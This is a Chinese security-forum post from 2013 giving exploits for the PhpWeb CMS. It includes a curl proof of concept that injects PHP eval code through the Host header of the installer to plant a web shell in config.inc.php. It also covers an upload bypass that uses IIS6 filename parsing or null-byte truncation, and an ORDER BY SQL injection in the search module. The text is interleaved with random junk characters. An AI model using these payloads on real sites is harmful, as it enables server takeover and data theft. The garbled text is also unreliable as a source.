中国网络渗透测试联盟
标题:
phpweb成品网站最新版(注入、上传、写shell)
[打印本页]
作者:
admin
时间:
2013-1-4 19:45
标题:
phpweb成品网站最新版(注入、上传、写shell)
注入:
/ w3 H2 @2 s) v% H, `7 Y; ?
3 O$ |3 J9 F, L8 c+ n/ ~" F" Q
之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
6 C1 k* n l: k/ `; {% Q
, D$ G: j- N$ v6 {+ h
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
& l. B( M9 s+ g! G& i, Z
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
1 ^8 P& V6 g! u7 _) s
# B2 N6 Y6 J2 X
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响
3 }6 F# s( n3 m# D# }0 K/ ~+ r
7 W: ]4 B/ n! Y
分析:
/ y1 s" v5 p J+ V" c6 ~; A
) O2 O7 y, W' t5 h/ V7 z
# W* F/ f/ ~$ p. P
$siteurl="http://".$_SERVER["HTTP_HOST"]."/"; //未过滤
5 q( _" ^* X8 v! ?
5 c8 [ K# `5 y! v9 X& S9 l
$filestr = fread(fopen($SysConfigFile, 'r'),30000);
# o, C8 C. G$ J
$filestr=str_replace(" ","",$filestr);
# c. T" o* x; G7 {0 H6 b
$filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
0 T3 G9 P9 T5 O( ^* k: R L
$filestr=str_replace("DefaultDbName",$dbname,$filestr);
: ~2 T! q* W w# c( u7 e
$filestr=str_replace("DefaultDbUser",$dbuser,$filestr);
3 U, }. }, ~4 l p( O2 x
$filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);
& b3 W2 L. F1 r* G8 b8 {" H
$filestr=str_replace("DefaultsLan","zh_cn",$filestr);
3 G- c- O% @7 T1 K8 W4 }7 `$ w$ _
$filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
$ K) t4 F/ {0 {1 X% a
$filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
3 H' w f6 i: D0 _
# r% Q7 U. g* E, U' K
fwrite(fopen($ConFile,"w"),$filestr,30000);
3 w3 [ e' a6 d' }) y J5 a: k
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
: J5 w H) e7 _
_& b9 q }% {( Z* L6 D: r3 `1 e
poc:
/ ]' E* H5 ?2 o4 w, _% O; f/ k
' O V/ V1 z$ \" J5 q
?
. o3 U$ U" `" P
1
: I, Y( {2 E; ?% r4 _# J
curl
http://fuck.0day5.com/base/install/index.php
--data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
+ _% |3 a0 G4 ~; k% s
shell地址: /config.inc.php
1 g: {. ~, |# n3 _4 G2 s5 M
跟之前的 phpcms一样 需要远程数据库
# Q }/ E* X0 W* X5 F* r& Z" h
0 M0 |$ S/ P8 V9 U4 B1 Q0 S1 Y
——————————————————–
- S* g* `2 b; N5 P
上传漏洞(需要进后台):
6 }7 X- l- @/ D# S$ a i! _9 P6 X" }
漏洞文件: /kedit/upload_cgi/upload.php
6 X7 [' b; p, ]& }+ ^% q4 a
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用
& N. x* F3 g, S6 k' {3 x
% D" ]' C a$ r I: u# w* E: W) O
m# [0 U$ L: W0 V/ ]* l- _: @
<?php
( E8 B* r1 m! @9 X7 n8 c8 l
define("ROOTPATH", "../../");
. a! W# V! ?' L" Q
include(ROOTPATH."includes/admin.inc.php");
* u$ y( Y& ~0 \
NeedAuth(0);
( F/ f/ p& j* D0 Z8 W8 c/ ^: r0 O1 f
, o! D7 _1 [" h, T1 a& K
$dt=date("Ymd",time());
$ ]6 s9 d: x8 V$ R3 p4 [. f
if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
+ r1 |. ?( j2 M
@mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);
8 Y8 m& K: m @8 G
}
7 _. i. z: a' h
2 |% g6 e: M# V7 h( n
//文件保存目录路径
, Q8 i1 \0 x7 w) C; ]: v
$save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
- }$ }3 r! n# ]
echo $save_path;
: ~$ T9 B! T0 M! z
//文件保存目录URL
, q9 J$ \3 h! s8 H6 [3 ?, M
$save_url = '../../'.$_POST['attachPath'].$dt.'/';
; y1 c5 ~8 r. A* \% Z
6 B" l- Z( R _4 j' j# a4 c- E6 F
//定义允许上传的文件扩展名
" m; f/ l% h/ g* o, D
$ext_arr = array('gif','jpg','png','bmp'); //限制后缀
) U8 O1 h1 c- m% ^+ Z
# x- y" N4 W; a
//最大文件大小
0 N/ `& S* r; x! j
$max_size = 1000000;
( Z4 c4 {. ]/ u: H
; u4 N: x/ S ]3 g! ?0 j% E
//更改目录权限
2 \( G( g$ T+ N, p; r8 L. ~ {
@mkdir($save_path, 0777);
, F4 m3 a; ~: p0 I
+ @0 [6 ?( v: n
//文件的全部路径
& s/ E) Q& a5 m( y) G, d3 A
$file_path = $save_path.$_POST['fileName']; //保存文件名
7 k% D. R- n1 {' u* [8 D$ P
) [4 M2 g) I m+ l
//文件URL
: Y, x9 ^5 Y2 O2 N2 t9 } J
$file_url = $save_url.$_POST['fileName'];
. ^! g) L E* k) ~4 v7 q; P
//有上传文件时
. s d( e: R+ o) f
if (empty($_FILES) === false) {
2 A) j7 G$ e9 k
) \% G! B" T2 R& {& Y
//原文件名
3 p( ?1 w$ `& H4 o2 v( M
$file_name = $_FILES['fileData']['name'];
, v+ z L! \ Y
//服务器上临时文件名
$ z& ]$ A x+ x: Z9 f! F
$tmp_name = $_FILES['fileData']['tmp_name'];
1 b* Q& S. q k7 g
//文件大小
2 o2 p0 \# o2 b, [, X$ s( N: D
$file_size = $_FILES['fileData']['size'];
! C. K* K0 e( R& [# Z
//检查目录
% _# c* h2 ]; A: \$ O
if (@is_dir($save_path) === false) {
2 I; Y! N% g% |" d# j6 e
alert("上传目录不存在。");
/ ^" n' c3 P" z3 M/ h v8 C
}
; H. T) n% e' [( I9 j# _
//检查目录写权限
! l1 B/ s9 R" O' U/ Y+ q
if (@is_writable($save_path) === false) {
# P, M s7 \, p% Y0 g
alert("上传目录没有写权限。");
& K; p/ \* w$ C% W3 M9 E9 x
}
8 C$ {0 `7 i3 n4 e* H
//检查是否已上传
& U: g+ }: O) M Y4 k, d% m* J
if (@is_uploaded_file($tmp_name) === false) {
# m5 T! m/ Q/ E* A9 i& g4 x! x
alert("临时文件可能不是上传文件。");
' |/ w5 {: N5 {3 r
}
9 r, C3 i, K) y8 }
//检查文件大小
/ M6 M" \; b" A* o5 W1 D: Q% l
if ($file_size > $max_size) {
0 l: R) |; i/ t3 @) ^4 h1 a
alert("上传文件大小超过限制。");
# p. t. b5 U8 Q, Z
}
- F s5 Q# A7 W
//获得文件扩展名
3 V9 [; o# G# l4 ~8 y
$temp_arr = explode(".", $_POST['fileName']);
, H- [+ N+ a* B. w2 `
$file_ext = array_pop($temp_arr);
; k, x4 a1 o- L2 |9 @
$file_ext = trim($file_ext);
* \1 t: `) T7 v4 O
$file_ext = strtolower($file_ext);
5 A! i/ z+ n$ g& P
9 P. V- w9 K" m3 \
//检查扩展名
( G {3 |4 ?( n: I% B* z
if (in_array($file_ext, $ext_arr) === false) {
/ q* a9 j( n1 n/ H% m! |/ l
alert("上传文件扩展名是不允许的扩展名。");
2 e) ?1 O0 {. W9 {5 y. ?" e6 X7 r
}
: x) X" C$ C- f! S; ?) [
* e" r3 [8 w# }" C" P5 @0 {* g- j
//移动文件
4 Z" k" S. d! J
//未重命名 虽然过滤了 后缀 iis 6解析漏洞 ^ _ ^
, W/ R4 p- Z8 r$ K8 v- S9 l1 `2 P: t
if (move_uploaded_file($tmp_name, $file_path) === false) {
- K. N2 u9 X8 m- q& Y& K
alert("上传文件失败。");
4 F; C* f# Q& T* V' \/ M
}
! }' q& D5 D+ }; f* Z: j
7 w; P; A6 l3 u9 e' [, H: K& o8 B) V
@chmod($file_path,0666);
9 A. S* z! D; S# X. B' [
" U# y& ?' r) j$ [- m- K8 B
?>
4 m8 f9 v* m+ E% O9 R1 }( [5 `
抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用
http://www.0day5.com/?p=227
+ \ H0 W1 j" j+ `# L+ J) c/ ~
+ Q' g! H4 G( ^% o
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
/ X2 ^( \; y: P0 S" C; V6 t
" f8 P" Z! t5 `% o! e
——————————————————
4 [9 O9 q; M/ W* u
注入漏洞:
8 }" t( A6 m, E u4 p
漏洞文件:search/module/search.php
, }1 s3 N8 _+ t- g
/search/index.php?key=1&myord=1 [sqlinjection]
3 K! x9 f6 d/ k" d, t& [
/ \8 n" C$ f: ?) I: o4 V6 ^/ }0 Z
' U! U5 o S2 S- X" ?6 f E$ T1 a
<?php
5 A: U2 W) k8 `
// ... 省略 n 行...
( Q7 o% p J5 M
//第18行:
+ N" ?9 c( b; W
$key=htmlspecialchars($_GET["key"]); //只是简单的将字符HTML 实体 编码 , mysql 注入不受此影响
6 A% Q7 P( M! e+ ]
$page=htmlspecialchars($_GET["page"]);
& D' ^3 L8 D0 Y# A% C$ K
$myord=htmlspecialchars($_GET["myord"]);
4 l& g1 S+ Z. C, S- u& G! ]
z6 m. s1 z4 H7 M; ^3 r- ^
// ... 省略 n 行...
/ P t6 E7 k/ S. P; g! e
$key,$myord 两个参数带入查询
# T3 S4 O$ l; P1 V1 x9 `+ H
//第47行 $key:
# K" h- @& }! x9 ]0 L3 {
`5 P+ ~1 [* l
$fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')"); //虽然带入查询 但使用的 是regexp 不知如何绕过..
! |2 G6 ?7 ^& O
. r; U( n6 u" _, z; H" Q
//第197行 $myord
- {1 |5 Q% A" U4 s7 X: t0 X; u4 w
$fsql->query($scl . " order by $myord desc limit $pagelimit "); 产生注入
+ C3 l% s; \1 J( z
$ q8 x0 ]/ [1 s1 W: [
?>
8 l2 ~ @% x* |! Q( i7 _, H# Y
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2